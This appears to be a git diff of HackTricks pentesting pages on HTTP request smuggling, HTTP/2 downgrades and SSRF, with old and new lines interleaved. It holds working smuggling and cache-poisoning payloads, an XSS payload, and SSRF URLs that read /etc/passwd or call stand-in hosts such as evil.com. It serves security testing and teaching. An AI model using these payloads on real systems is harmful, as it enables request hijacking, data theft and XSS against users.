To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
`Content-Length: 130`\
|
||||
`Connection: keep-alive`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
`0`\
|
||||
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
|
||||
`search=`
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 130
|
||||
Connection: keep-alive
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
In this case the next request will be appended after `search=` which is also **the parameter whose value is going to be reflected** on the response, therefore it's going to **reflect the headers of the next request**.
|
||||
0
|
||||
|
||||
Note that **only the length indicated in the `Content-Length` header of the embedded request is going to be reflected**. If you use a low number, only a few bytes will be reflected, if you use a bigger number than the length of all the headers, then the embedded request will throw and error. Then, you should **start** with a **small number** and **increase** it until you see all you wanted to see.\
|
||||
Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0`. However, independently of the new line characters the values are going to be appended to the search parameter.
|
||||
POST /search HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 100
|
||||
|
||||
Finally note that in this attack we are still attacking ourselves to learn how the front-end proxy is rewriting the request.
|
||||
search=
|
||||
```
|
||||
|
||||
In this structure, subsequent request components are appended after `search=`, which is the parameter reflected in the response. This reflection will expose the headers of the subsequent request.
|
||||
|
||||
It's important to align the `Content-Length` header of the nested request with the actual content length. Starting with a small value and incrementing gradually is advisable, as too low a value will truncate the reflected data, while too high a value can cause the request to error out.
|
||||
|
||||
This technique is also applicable in the context of a TE.CL vulnerability, but the request should terminate with `search=\r\n0`. Regardless of the newline characters, the values will append to the search parameter.
|
||||
|
||||
This method primarily serves to understand the request modifications made by the front-end proxy, essentially performing a self-directed investigation.
|
||||
|
||||
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
If you can find a POST request which is going to save the contents of one of the parameters you can append the following request as the value of that parameter in order to store the quest of the next client:
|
||||
It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Content-Length: 319`\
|
||||
`Connection: keep-alive`\
|
||||
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `0`\``\
|
||||
`POST /post/comment HTTP/1.1`\
|
||||
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
||||
`Content-Length: 659`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
|
||||
\`\`\
|
||||
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
|
||||
By appending the following request as the value of a parameter, you can store the subsequent client's request:
|
||||
|
||||
In this case, the value of the **parameter comment** is going to be **saved inside a comment** of a post in the page that is **publicly available**, so a **comment will appear with the content of the next request**.
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 319
|
||||
Connection: keep-alive
|
||||
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
_One limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. For URL-encoded form submissions, this will be the `&` character, meaning that the content that is stored from the victim user's request will end at the first `&`, which might even appear in the query string._
|
||||
0
|
||||
|
||||
Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0`. However, independently of the new line characters the values are going to be appended to the search parameter.
|
||||
POST /post/comment HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
Content-Length: 659
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
|
||||
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
|
||||
|
||||
However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the `&` character. This means the captured content from the victim user's request will stop at the first `&`, which may even be part of the query string.
|
||||
|
||||
Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with `search=\r\n0`. Regardless of newline characters, the values will be appended to the search parameter.
|
||||
|
||||
### Using HTTP request smuggling to exploit reflected XSS
|
||||
|
||||
If the web page is also **vulnerable to Reflected XSS**, you can abuse HTTP Request Smuggling to attack clients of the web. The exploitation of Reflected XSS from HTTP Request Smuggling have some advantages:
|
||||
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
|
||||
|
||||
* **It requires no interaction with victim users**
|
||||
* It can be used to **exploit** XSS behavior in parts of the request that **cannot be trivially controlled in a normal reflected XSS attack**, such as HTTP request headers.
|
||||
* Interaction with the target users is **not required**.
|
||||
* Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.
|
||||
|
||||
If a web is vulnerable to Reflected XSS on the User-Agent header you can use this payload to exploit it:
|
||||
In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
|
||||
`User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0`\
|
||||
`Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
`Connection: keep-alive`\
|
||||
`Content-Length: 213`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
``\ `0`\``\
|
||||
`GET /post?postId=2 HTTP/1.1`\
|
||||
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
|
||||
`User-Agent: "><script>alert(1)</script>`\
|
||||
`Content-Length: 10`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
\`\`\
|
||||
`A=`
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
|
||||
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Content-Length: 213
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
0
|
||||
|
||||
GET /post?postId=2 HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
User-Agent: "><script>alert(1)</script>
|
||||
Content-Length: 10
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
|
||||
This payload is structured to exploit the vulnerability by:
|
||||
|
||||
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
|
||||
2. Following with a `0`, marking the end of the chunked message body.
|
||||
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
|
||||
|
||||
By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
|
||||
|
||||
### Using HTTP request smuggling to turn an on-site redirect into an open redirect <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
|
||||
Many applications perform on-site redirects from one URL to another and place the hostname from the request's `Host` header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash:
|
||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
`GET /home HTTP/1.1`\
|
||||
`Host: normal-website.com`\
|
||||
\`\`\
|
||||
`HTTP/1.1 301 Moved Permanently`\
|
||||
`Location: https://normal-website.com/home/`
|
||||
Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
|
||||
|
||||
This behavior is normally considered harmless, but it can be exploited in a request smuggling attack to redirect other users to an external domain. For example:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
```
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
`Content-Length: 54`\
|
||||
`Connection: keep-alive`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `0`\``\
|
||||
`GET /home HTTP/1.1`\
|
||||
`Host: attacker-website.com`\
|
||||
`Foo: X`
|
||||
Results in:
|
||||
|
||||
The smuggled request will trigger a redirect to the attacker's website, which will affect the next user's request that is processed by the back-end server. For example:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
|
||||
`GET /home HTTP/1.1`\
|
||||
`Host: attacker-website.com`\
|
||||
`Foo: XGET /scripts/include.js HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
\`\`\
|
||||
`HTTP/1.1 301 Moved Permanently`\
|
||||
`Location: https://attacker-website.com/home/`
|
||||
Though seemingly harmless, this behavior can be manipulated using HTTP request smuggling to redirect users to an external site. For example:
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 54
|
||||
Connection: keep-alive
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
|
||||
This smuggled request could cause the next processed user request to be redirected to an attacker-controlled website:
|
||||
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: XGET /scripts/include.js HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
```
|
||||
|
||||
Results in:
|
||||
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
|
||||
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
|
||||
|
||||
Here, the user's request was for a JavaScript file that was imported by a page on the web site. The attacker can fully compromise the victim user by returning their own JavaScript in the response.
|
||||
|
||||
### Using HTTP request smuggling to perform web cache poisoning <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
|
||||
If any part of the **front-end infrastructure performs caching of content** (generally for performance reasons) the it **might be possible to poison that cache modifying the response of the server**.
|
||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
We have already see how to modify the expected returned value from the server to a 404 (in the [Basic Examples](./#basic-examples)), in a similar way you could make the server return the content of /index.html when the poisoned request is asking for `/static/include.js` . This way, the content of the `/static/include.js` will be cached with the content of `/index.html` making `/static/include.js` inaccessible to the clients (DoS?).
|
||||
Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**.
|
||||
|
||||
Notice this is even more interesting if you find some **Open Redirect** or some **on-site redirect to open redirect** (last section). Because, you could be able to **change the cache values** of `/static/include.js` with the **ones of a script controlled by you** (making a **general XSS to all the clients** that try to download the new version of`/static/include.js`).
|
||||
Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](./#basic-examples)). Similarly, it’s feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS).
|
||||
|
||||
In this example it's going to be shown how you can exploit a **cache poisoning + on-site redirect to open redirect** to modify the contents of the cache of `/static/include.js` to **serve JS code controlled** by the attacker:
|
||||
This technique becomes particularly potent if an **Open Redirect vulnerability** is discovered or if there's an **on-site redirect to an open redirect**. Such vulnerabilities can be exploited to replace the cached content of `/static/include.js` with a script under the attacker's control, essentially enabling a widespread Cross-Site Scripting (XSS) attack against all clients requesting the updated `/static/include.js`.
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable.net`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Connection: keep-alive`\
|
||||
`Content-Length: 124`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `0`\``\
|
||||
`GET /post/next?postId=3 HTTP/1.1`\
|
||||
`Host: attacker.net`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Content-Length: 10`\
|
||||
\`\`\
|
||||
`x=1`
|
||||
Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
|
||||
|
||||
Note how the embedded request is asking for `/post/next?postId=3` This request is going to be redirected to `/post?postId=4` and **will use the value of the Host header** to indicate the domain. Therefore, you can **modify the Host header** to point the attackers server and the redirect will use that domain (**on-site redirect to open redirect**).
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: keep-alive
|
||||
Content-Length: 124
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
Then, **after poisoning the socket**, you need to send a **GET request** to \*\*`/static/include.js`\*\*this request will be **poisoned** by the **on-site redirect to open redirect** request and will **grab the contents of the attacker controlled script**.
|
||||
0
|
||||
|
||||
GET /post/next?postId=3 HTTP/1.1
|
||||
Host: attacker.net
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
|
||||
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
|
||||
|
||||
After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
|
||||
|
||||
Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
|
||||
|
||||
The next time that somebody ask for `/static/include.js` the cached contents of the attackers script will be server (general XSS).
|
||||
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
|
@ -368,8 +486,9 @@ The next time that somebody ask for `/static/include.js` the cached contents of
|
|||
> * In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
|
||||
> * In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
|
||||
|
||||
In this variant, the attacker smuggles a request that returns some sensitive user-specific content. For example:
|
||||
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
|
||||
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
`Connection: keep-alive`\
|
||||
|
@ -378,9 +497,9 @@ In this variant, the attacker smuggles a request that returns some sensitive use
|
|||
``\ `0`\``\
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
|
||||
If the **poison reaches a client that was accessing some static content** like `/someimage.png` that was going to be **cached**. The contents of `/private/messages` of the victim will be cached in `/someimage.png` and the attacker will be able to steal them.\
|
||||
Note that the **attacker doesn't know which static content the victim was trying to access** so probably the best way to test this is to perform the attack, wait a few seconds and **load all** the static contents and **search for the private data**.
|
||||
If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.
|
||||
|
||||
### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
|
||||
|
||||
|
@ -481,12 +600,6 @@ def handleResponse(req, interesting):
|
|||
table.add(req)
|
||||
```
|
||||
|
||||
## More info
|
||||
|
||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
|
||||
[Image from here.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
|
||||
|
||||
## Tools
|
||||
|
||||
* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
|
|
|
@ -14,7 +14,7 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Check the post from [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
**Check the post [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -14,134 +14,7 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
## Origins
|
||||
|
||||
The main origin of this vulnerability is the fact that the **reverse proxy** is going to **talk with the client** using **HTTP/2** but then it will **transform** that **communication** with the **back-end server** to **HTTP/1.1**.
|
||||
|
||||
![](<../../.gitbook/assets/image (636) (1).png>)
|
||||
|
||||
The problem with this approach is that the **user** is going to be able to **inject** unnecessarily **headers** in the **HTTP/2 communication** that probably **won't be checked** by the proxy. But then, when those are **injected blindly in the HTTP/1.1 communication**, **a request smuggling attack can be performed**.
|
||||
|
||||
## Examples
|
||||
|
||||
### H2.CL Desync
|
||||
|
||||
The HTTP/2 specification indicates that the **Content-Length header isn't needed but can be indicated**. Therefore, the **reverse proxy** will **treat all the content sent by the users** as the request, but then, when **downgrading to HTTP/1.1**, this **header** is going to be **injected** in the **request** and therefore, the **back-end will treat the request as 2 different requests** as you can see in the image below:
|
||||
|
||||
![](<../../.gitbook/assets/image (639).png>)
|
||||
|
||||
### H2.TE Desync URL Token Hijack
|
||||
|
||||
The HTTP/2 specification also indicates that **any message containing connection-specific header fields MUST be treated as malformed... but if you don't follow this rule, you are vulnerable**.
|
||||
|
||||
This technique was abused on AWS load balancer, so making sure that the users access a Host header pointing to a server controlled by the attacker will make them access that server.
|
||||
|
||||
![](<../../.gitbook/assets/image (631) (1).png>)
|
||||
|
||||
### H2.TE Desync Header Hijack
|
||||
|
||||
This is exactly the same technique as before, but checking the requests James noticed that clients were asking to send him their credentials, so he just modified his server to allow CORS to send him peoples credentials:
|
||||
|
||||
![](<../../.gitbook/assets/image (662) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE via Request Header Injection
|
||||
|
||||
**HTTP/2 also won't allow to put not permitted characters in headers**, but if the server **isn't respecting** this rule, you can **inject arbitrary headers** when the communication is **downgraded** to HTTP/1.1.
|
||||
|
||||
In this case **the header Transfer-Encoding was injected**.
|
||||
|
||||
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE via Header Name Injection
|
||||
|
||||
HTTP/2 on some servers lets you put a **colon in the header name, and with a** you can inject a new header inside the header name like this:
|
||||
|
||||
![](<../../.gitbook/assets/image (632) (1).png>)
|
||||
|
||||
Note that if you put just the new line characters sending a header without content, the request is going to be treated as **invalid**:
|
||||
|
||||
![](<../../.gitbook/assets/image (647) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE via Request LIne Injection
|
||||
|
||||
In this case the injection was performed inside the request line:
|
||||
|
||||
![](<../../.gitbook/assets/image (640) (1).png>)
|
||||
|
||||
### URL Prefix Injection
|
||||
|
||||
Inside the scheme of the HTTP/2 connection you might be able to send a full URL that will overwrite the one indicated in the path:
|
||||
|
||||
![](<../../.gitbook/assets/image (661) (1) (1).png>)
|
||||
|
||||
### Request Line Injection via spaces
|
||||
|
||||
![](<../../.gitbook/assets/image (641) (1).png>)
|
||||
|
||||
## Frontend->backend connection reuse
|
||||
|
||||
Sometimes you will find that preforming a HTTP Request Smuggling attack **you can only attack yourself**. This could be because the reverse proxy has decided to **use a different connection with the back-end** server per IP.
|
||||
|
||||
Note that **even** with that **restriction** you still can perform attacks like **authorization bypasses**, internal headers leakage and **cache deception and cache poisoning** attacks.
|
||||
|
||||
Usually this restriction doesn't exist so you can **smuggle request into the connection between the reverse proxy and the back end** that other people are using, but it's even **possible** that the **proxy** doesn't **even reuse a connection with connections from the same IP** (pretty heavy restriction for this kind of attack).
|
||||
|
||||
![](<../../.gitbook/assets/image (646) (1) (1).png>)
|
||||
|
||||
In the heaviest restriction (no connection reuse) you will detect the vulnerability with the Time Based technique, but then testing it you will find that it's a "false positive".
|
||||
|
||||
### Tunnelling Confirmation
|
||||
|
||||
A way to **confirm** if the **endpoint is vulnerable** but the connection is **inside a "tunnel"** is to **smuggle 2 full requests** into 1.
|
||||
|
||||
The **problem** with **HTTP/1.1** is that if you **receive 2 HTTP responses** you **don't know** if the endpoint was **vulnerable** or it isn't and the **"smuggled" request was just treated as a regular request**.
|
||||
|
||||
However, this technique can be used **in HTTP/2** because if the endpoint was **vulnerable** and you smuggled one request, you will see the **headers of the response to the smuggled request in the response from the reverse proxy**:
|
||||
|
||||
![](<../../.gitbook/assets/image (652) (1) (1) (1).png>)
|
||||
|
||||
### Tunnel-vision Problem
|
||||
|
||||
There could be another problem, if the **response** to the legit request **contains** a **Content-Length**, the **reverse proxy** is only going to **read the bytes specified there and no more, so you won't be able to read the response from the smuggled request.**
|
||||
|
||||
However, the **HEAD** request **doesn't contain a body** but it usually **contains** the **Content-Length** as if the request was a GET request. Therefore, sending a **HEAD** request **instead of a POST** request you can **read the HEAD Content-Length** bytes of the smuggled request response.
|
||||
|
||||
![](<../../.gitbook/assets/image (628) (1) (1).png>)
|
||||
|
||||
### Leaking Internal Headers via Tunneling
|
||||
|
||||
If you find a **POST** **parameter** inside the application whose **content** is going to be **reflected** in the **response**, then you can try to inject HTTP/1.1 \r\n characters inside a HTTP/2 request header so the newly injected headers by the proxy are going to be appended in the POST parameter that will be reflected in the response:
|
||||
|
||||
![](<../../.gitbook/assets/image (656) (1) (1).png>)
|
||||
|
||||
Note that in this case the **attacker** just cares about the **response** to the **first** **request**, he doesn't need to read the request to the smuggled invalid second request.
|
||||
|
||||
{% hint style="info" %}
|
||||
Using this attack **agains different parts of the web (method, path...)** can lead to different back-ends being used and **different sensitive information being leaked**
|
||||
{% endhint %}
|
||||
|
||||
### Cache Poisoning via Tunneling
|
||||
|
||||
In this scenario a **HEAD** request to the **URL** **whose** **cache** is going to be **poisoned** is sent while **smuggling** a **request** whose **response content will be containing the payload** (maybe some XSS payload).
|
||||
|
||||
Due to the fact the the **HEAD response contains the `Content-Type: text/html`** and because the reverse proxy thinks that the **whole response to the smuggled request is the body of the HEAD** request, the **XSS payload** is going to be **treated as HTML** even if the page wasn't vulnerable to XSS.
|
||||
|
||||
![](<../../.gitbook/assets/image (659) (1).png>)
|
||||
|
||||
## Hidden HTTP/2
|
||||
|
||||
Usually servers advertise the support via ALPN field in TLS handshake, but some doesn't.
|
||||
|
||||
It can be easily detected using `curl --http2 --http2-prior-knowledge`
|
||||
|
||||
## Tools
|
||||
|
||||
* Burp extension: HTTP Request Smuggler
|
||||
* [https://github.com/neex/http2smugl](https://github.com/neex/http2smugl)
|
||||
|
||||
## References
|
||||
|
||||
* This talk explains perfectly all the techniques indicated here: [https://www.youtube.com/watch?v=rHxVVeM9R-M](https://www.youtube.com/watch?v=rHxVVeM9R-M)
|
||||
**Check the post [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -22,18 +22,24 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to **induce the server-side application to make HTTP requests to an arbitrary domain** of the attacker's choosing. (From [here](https://portswigger.net/web-security/ssrf))
|
||||
|
||||
## Basic Information
|
||||
|
||||
Server-side Request Forgery (SSRF) is a vulnerability where **the server-side application is induced by an attacker to make HTTP requests to an arbitrary domain of the attacker's choosing**.
|
||||
|
||||
## Capture SSRF
|
||||
|
||||
The first thing you need to do is to capture a SSRF interaction provoked by you. To capture a HTTP or DNS interaction you can use tools such as:
|
||||
|
||||
* **Burpcollab**
|
||||
* **Burp Collaborator**
|
||||
* [**pingb**](http://pingb.in)
|
||||
* [**canarytokens**](https://canarytokens.org/generate)
|
||||
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
|
||||
* [**http://webhook.site**](http://webhook.site)
|
||||
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
|
||||
* [http://requestrepo.com/](http://requestrepo.com/)
|
||||
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
|
||||
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - A Burp Collaborator using ngrok
|
||||
|
||||
## Whitelisted Domains Bypass
|
||||
|
||||
|
@ -50,44 +56,41 @@ Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.
|
|||
|
||||
## Protocols
|
||||
|
||||
### file://
|
||||
- **file://**
|
||||
- The URL scheme `file://` is referenced, pointing directly to `/etc/passwd`: `file:///etc/passwd`
|
||||
|
||||
- **dict://**
|
||||
- The DICT URL scheme is described as being utilized for accessing definitions or word lists via the DICT protocol. An example given illustrates a constructed URL targeting a specific word, database, and entry number, as well as an instance of a PHP script being potentially misused to connect to a DICT server using attacker-provided credentials: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
|
||||
- **SFTP://**
|
||||
- Identified as a protocol for secure file transfer over secure shell, an example is provided showcasing how a PHP script could be exploited to connect to a malicious SFTP server: `url=sftp://generic.com:11111/`
|
||||
|
||||
- **TFTP://**
|
||||
- Trivial File Transfer Protocol, operating over UDP, is mentioned with an example of a PHP script designed to send a request to a TFTP server. A TFTP request is made to 'generic.com' on port '12346' for the file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
|
||||
- **LDAP://**
|
||||
- This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
|
||||
- **SMTP**
|
||||
- A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.
|
||||
|
||||
```
|
||||
file:///etc/passwd
|
||||
https://twitter.com/har1sec/status/1182255952055164929
|
||||
1. connect with SSRF on smtp localhost:25
|
||||
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
|
||||
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
|
||||
4. connect
|
||||
```
|
||||
|
||||
### dict://
|
||||
|
||||
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
|
||||
- **Curl URL globbing - WAF bypass**
|
||||
- If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:
|
||||
|
||||
```
|
||||
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
|
||||
ssrf.php?url=dict://attacker:11111/
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
|
||||
### SFTP://
|
||||
|
||||
A network protocol used for secure file transfer over secure shell
|
||||
|
||||
```
|
||||
ssrf.php?url=sftp://evil.com:11111/
|
||||
```
|
||||
|
||||
### TFTP://
|
||||
|
||||
Trivial File Transfer Protocol, works over UDP
|
||||
|
||||
```
|
||||
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
|
||||
```
|
||||
|
||||
### LDAP://
|
||||
|
||||
